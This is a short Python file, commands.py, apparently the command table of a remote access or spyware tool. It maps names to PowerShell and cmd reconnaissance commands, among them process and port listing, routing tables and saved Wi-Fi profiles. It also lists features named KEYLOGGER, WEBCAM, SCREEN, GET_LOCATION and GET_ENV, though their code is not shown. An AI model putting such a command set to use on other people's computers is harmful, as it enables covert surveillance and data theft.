-
Notifications
You must be signed in to change notification settings - Fork 3
/
commands.py
36 lines (32 loc) · 972 Bytes
/
commands.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# Some stored variables contasining shell or powershell commands
ps = {
"GET_MONITORS": "Get-CimInstance -Namespace root\wmi -ClassName WmiMonitorBasicDisplayParams",
"GET_NETSTAT": "Get-NetTCPConnection -State Listen",
"GET_TASKS": "Get-Process",
"GET_WINDOWS": "Get-Process | Where-Object {$_.mainWindowTitle} | Format-Table Id, Name, mainWindowtitle -AutoSize",
"GET_USBDRIVES": "Get-PnpDevice -PresentOnly | Where-Object { $_.InstanceId -match '^USB' }",
}
cmd = {
"GET_ROUTING": "netstat -nr",
"GET_PROFILES": "netsh wlan show profiles"
}
direct = ["SYSINFO",
"GET_LOCATION",
"GET_TIME",
"GET_DRIVES",
"GET_CPU",
"GET_PID",
"GET_ENV",
"GET_LOGIN",
"GET_MONITORS",
"OPEN_URL",
"SCREEN",
"WEBCAM",
"KEYLOGGER",
"FIND",
"EXIT"
]
aliases = {
"LS": "DIR",
"OPEN_WEB": "OPEN_URL",
}